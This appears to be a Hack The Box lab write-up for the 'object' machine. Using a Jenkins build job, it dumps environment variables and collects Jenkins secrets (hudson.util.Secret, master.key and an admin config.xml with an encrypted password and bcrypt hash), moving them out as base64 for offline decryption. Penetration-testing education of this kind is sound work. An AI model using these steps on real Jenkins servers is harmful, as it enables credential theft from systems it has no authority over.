Jenkins Secrets


Numerous attempts to gain a foothold has failed due to the presence of firewall Therefore, further enumeration will be continued via the Build process

Since the oliver user was suspected to be the initiator of the Jenkins execution process, the oliver user might also be the admin user Therefore, it is very possible that encrypted credential of the admin user might be available for retrieval If that is the case, I will be able to retrieve and decrypt the Jenkins secrets

I will start by checking the environment variable of the current session

Environment Variables


Started by remote host 10.10.16.5
Running as SYSTEM
Building in workspace C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\RCE
[RCE] $ cmd /c call C:\Users\oliver\AppData\Local\Temp\jenkins2372636062082013796.bat
 
C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\RCE>set
ALLUSERSPROFILE=C:\ProgramData
APPDATA=C:\Users\oliver\AppData\Roaming
BASE=C:\Program Files\Jenkins
BUILD_DISPLAY_NAME=#9
BUILD_ID=9
BUILD_NUMBER=9
BUILD_TAG=jenkins-RCE-9
BUILD_URL=http://localhost:8080/job/RCE/9/
CI=true
CommonProgramFiles=C:\Program Files\Common Files
CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files
CommonProgramW6432=C:\Program Files\Common Files
COMPUTERNAME=JENKINS
ComSpec=C:\Windows\system32\cmd.exe
DriverData=C:\Windows\System32\Drivers\DriverData
EXECUTOR_NUMBER=0
HUDSON_COOKIE=ec1b0dca-7601-4934-b0cf-ab392a998202
HUDSON_HOME=C:\Users\oliver\AppData\Local\Jenkins\.jenkins
HUDSON_SERVER_COOKIE=adc415084882d486
HUDSON_URL=http://localhost:8080/
JENKINS_HOME=C:\Users\oliver\AppData\Local\Jenkins\.jenkins
JENKINS_SERVER_COOKIE=adc415084882d486
JENKINS_URL=http://localhost:8080/
JOB_BASE_NAME=RCE
JOB_DISPLAY_URL=http://localhost:8080/job/RCE/display/redirect
JOB_NAME=RCE
JOB_URL=http://localhost:8080/job/RCE/
LOCALAPPDATA=C:\Users\oliver\AppData\Local
NODE_LABELS=built-in
NODE_NAME=built-in
NUMBER_OF_PROCESSORS=2
OS=Windows_NT
Path=C:\Program Files\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\oliver\AppData\Local\Microsoft\WindowsApps
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
PROCESSOR_ARCHITECTURE=AMD64
PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 85 Stepping 7, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=5507
ProgramData=C:\ProgramData
ProgramFiles=C:\Program Files
ProgramFiles(x86)=C:\Program Files (x86)
ProgramW6432=C:\Program Files
PROMPT=$P$G
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules
PUBLIC=C:\Users\Public
RUN_ARTIFACTS_DISPLAY_URL=http://localhost:8080/job/RCE/9/display/redirect?page=artifacts
RUN_CHANGES_DISPLAY_URL=http://localhost:8080/job/RCE/9/display/redirect?page=changes
RUN_DISPLAY_URL=http://localhost:8080/job/RCE/9/display/redirect
RUN_TESTS_DISPLAY_URL=http://localhost:8080/job/RCE/9/display/redirect?page=tests
SERVICE_ID=jenkins
SystemDrive=C:
SystemRoot=C:\Windows
TEMP=C:\Users\oliver\AppData\Local\Temp
TMP=C:\Users\oliver\AppData\Local\Temp
USERDNSDOMAIN=OBJECT.LOCAL
USERDOMAIN=OBJECT
USERNAME=oliver
USERPROFILE=C:\Users\oliver
windir=C:\Windows
WINSW_EXECUTABLE=C:\Program Files\Jenkins\jenkins.exe
WINSW_SERVICE_ID=jenkins
WORKSPACE=C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\RCE
WORKSPACE_TMP=C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\RCE@tmp
 
C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\RCE>exit 0 
Finished: SUCCESS
  • Both HUDSON_HOME and JENKINS_HOME variables are set to C:\Users\oliver\AppData\Local\Jenkins\.jenkins
  • Both HUDSON_HOME and JENKINS_URL variables are set to http://localhost:8080/

The directory of Jenkins instance is available at C:\Users\oliver\AppData\Local\jenkins and it contains 2 sub-directories; .jenkins and war

JENKINS_HOME


while the jenkins_home directory contains a lot of files and directories, there are only a handful of files when it comes to retrieving Jenkins secrets

these files are needed to decrypt jenkins secrets:

  • JENKINS_HOME/secrets/hudson.util.Secret
    • This file contains the secret key used by Jenkins to secure sensitive information and data.
    • It’s used for encryption and decryption of sensitive data stored in Jenkins, including credentials, passwords, and other confidential information.
    • The contents of this file should be kept confidential and protected from unauthorized access. Losing this file can have severe security consequences.
    • It’s recommended to back up this file regularly to prevent data loss and potential security breaches.
  • JENKINS_HOME/secrets/master.key
    • This file is part of Jenkins’ security infrastructure and is used to encrypt and decrypt sensitive data, including credentials and secrets.
    • It’s used in conjunction with the hudson.util.Secret file to provide an extra layer of security for Jenkins.
    • Like the hudson.util.Secret file, the master.key file should be treated as highly sensitive and protected from unauthorized access.
    • Losing or compromising this file can jeopardize the security of Jenkins and its sensitive data.

such secrets can usually be found in:

  • [[#jenkins_homeusersadmin_17207690984073220035configxml|JENKINS_HOME/users//*.xml]]
    • The users directory contains subdirectories for each user who has an account on the Jenkins server.
    • Inside the user’s subdirectory, you will find XML files that store user-specific configuration and settings.
    • These files include details about the user’s preferences, permissions, and other configuration settings.
    • For example, config.xml within a user’s directory may store information about their email address, full name, and other profile-related settings.
    • It’s essential to protect these files and ensure that only authorized users have access to their own user-specific configuration.

JENKINS_HOME/secrets


The JENKINS_HOME/secrets directory indeed contains both hudson.util.Secret and master.key files Those files are necessary to decrypt Jenkins credentials (secrets)

hudson.util.Secret


The hudson.util.Secret file is in the binary format This would mean that I cannot just copy and paste the data, but the data needs to be encoded for safe transfer

Transfer

While there are many encoding techniques available, I will use the reliable .NET’s Convert.ToBase64String method with the File.ReadAllBytes(String) method from a PowerShell session

or this method

[System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('C:\PATH\TO\FILE'))

It would like like that

There is the hudson.util.Secret file in the base64 format

┌──(kali㉿kali)-[~/…/htb/labs/object/jenkins]
└─$ echo 'gWFQFlTxi+xRdwcz6KgADwG+rsOAg2e3omR3LUopDXUcTQaGCJIswWKIbqgNXAvu2SHL93OiRbnEMeKqYe07PqnX9VWLh77Vtf+Z3jgJ7sa9v3hkJLPMWVUKqWsaMRHOkX30Qfa73XaWhe0ShIGsqROVDA1gS50ToDgNRIEXYRQWSeJY0gZELcUFIrS+r+2LAORHdFzxUeVfXcaalJ3HBhI+Si+pq85MKCcY3uxVpxSgnUrMB5MX4a18UrQ3iug9GHZQN4g6iETVf3u6FBFLSTiyxJ77IVWB1xgep5P66lgfEsqgUL9miuFFBzTsAkzcpBZeiPbwhyrhy/mCWogCddKudAJkHMqEISA3et9RIgA=' | base64 -d > hudson.util.Secret

I will copy the base64 string and decode to save in Kali

master.key


f673fdb0c4fcc339070435bdbe1a039d83a597bf21eafbb7f9b35b50fce006e564cff456553ed73cb1fa568b68b310addc576f1637a7fe73414a4c6ff10b4e23adc538e9b369a0c6de8fc299dfa2a3904ec73a24aa48550b276be51f9165679595b2cac03cc2044f3c702d677169e2f4d3bd96d8321a2e19e2bf0c76fe31db19 Unlike the hudson.util.Secret file above, the data appears to be in CLEARTEXT format

It’s NOT CLEARTEXT

Transfer

While the data appears to be in the CLEARTEXT format, it’s NEVER safe to assume it with a web console output. especially with Windows host

┌──(kali㉿kali)-[~/…/htb/labs/object/jenkins]
└─$ echo 'ZjY3M2ZkYjBjNGZjYzMzOTA3MDQzNWJkYmUxYTAzOWQ4M2E1OTdiZjIxZWFmYmI3ZjliMzViNTBmY2UwMDZlNTY0Y2ZmNDU2NTUzZWQ3M2NiMWZhNTY4YjY4YjMxMGFkZGM1NzZmMTYzN2E3ZmU3MzQxNGE0YzZmZjEwYjRlMjNhZGM1MzhlOWIzNjlhMGM2ZGU4ZmMyOTlkZmEyYTM5MDRlYzczYTI0YWE0ODU1MGIyNzZiZTUxZjkxNjU2Nzk1OTViMmNhYzAzY2MyMDQ0ZjNjNzAyZDY3NzE2OWUyZjRkM2JkOTZkODMyMWEyZTE5ZTJiZjBjNzZmZTMxZGIxOQ==' | base64 -d  > master.key

JENKINS_HOME/users


The JENKINS_HOME/users directory reveals 2 sub-directories for registered users The admin_17207690984073220035 directory is for the admin user who is the target

The directory of the admin user contains the config.xml file, which is the encrypted Jenkins credential

JENKINS_HOME/users/admin_17207690984073220035/config.xml


C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\RCE>type C:\Users\oliver\AppData\Local\Jenkins\.jenkins\users\admin_17207690984073220035\config.xml 
<?xml version='1.1' encoding='UTF-8'?>
<user>
  <version>10</version>
  <id>admin</id>
  <fullName>admin</fullName>
  <properties>
    <com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty plugin="credentials@2.6.1">
      <domainCredentialsMap class="hudson.util.CopyOnWriteMap$Hash">
        <entry>
          <com.cloudbees.plugins.credentials.domains.Domain>
            <specifications/>
          </com.cloudbees.plugins.credentials.domains.Domain>
          <java.util.concurrent.CopyOnWriteArrayList>
            <com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl>
              <id>320a60b9-1e5c-4399-8afe-44466c9cde9e</id>
              <description></description>
              <username>oliver</username>
              <password>{AQAAABAAAAAQqU+m+mC6ZnLa0+yaanj2eBSbTk+h4P5omjKdwV17vcA=}</password>
              <usernameSecret>false</usernameSecret>
            </com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl>
          </java.util.concurrent.CopyOnWriteArrayList>
        </entry>
      </domainCredentialsMap>
    </com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty>
    <hudson.plugins.emailext.watching.EmailExtWatchAction_-UserProperty plugin="email-ext@2.84">
      <triggers/>
    </hudson.plugins.emailext.watching.EmailExtWatchAction_-UserProperty>
    <hudson.model.MyViewsProperty>
      <views>
        <hudson.model.AllView>
          <owner class="hudson.model.MyViewsProperty" reference="../../.."/>
          <name>all</name>
          <filterExecutors>false</filterExecutors>
          <filterQueue>false</filterQueue>
          <properties class="hudson.model.View$PropertyList"/>
        </hudson.model.AllView>
      </views>
    </hudson.model.MyViewsProperty>
    <org.jenkinsci.plugins.displayurlapi.user.PreferredProviderUserProperty plugin="display-url-api@2.3.5">
      <providerId>default</providerId>
    </org.jenkinsci.plugins.displayurlapi.user.PreferredProviderUserProperty>
    <hudson.model.PaneStatusProperties>
      <collapsed/>
    </hudson.model.PaneStatusProperties>
    <jenkins.security.seed.UserSeedProperty>
      <seed>ea75b5bd80e4763e</seed>
    </jenkins.security.seed.UserSeedProperty>
    <hudson.search.UserSearchProperty>
      <insensitiveSearch>true</insensitiveSearch>
    </hudson.search.UserSearchProperty>
    <hudson.model.TimeZoneProperty/>
    <hudson.security.HudsonPrivateSecurityRealm_-Details>
      <passwordHash>#jbcrypt:$2a$10$q17aCNxgciQt8S246U4ZauOccOY7wlkDih9b/0j4IVjZsdjUNAPoW</passwordHash>
    </hudson.security.HudsonPrivateSecurityRealm_-Details>
    <hudson.tasks.Mailer_-UserProperty plugin="mailer@1.34">
      <emailAddress>admin@object.local</emailAddress>
    </hudson.tasks.Mailer_-UserProperty>
    <jenkins.security.ApiTokenProperty>
      <tokenStore>
        <tokenList/>
      </tokenStore>
    </jenkins.security.ApiTokenProperty>
    <jenkins.security.LastGrantedAuthoritiesProperty>
      <roles>
        <string>authenticated</string>
      </roles>
      <timestamp>1634793332195</timestamp>
    </jenkins.security.LastGrantedAuthoritiesProperty>
  </properties>
</user>

I will grab this file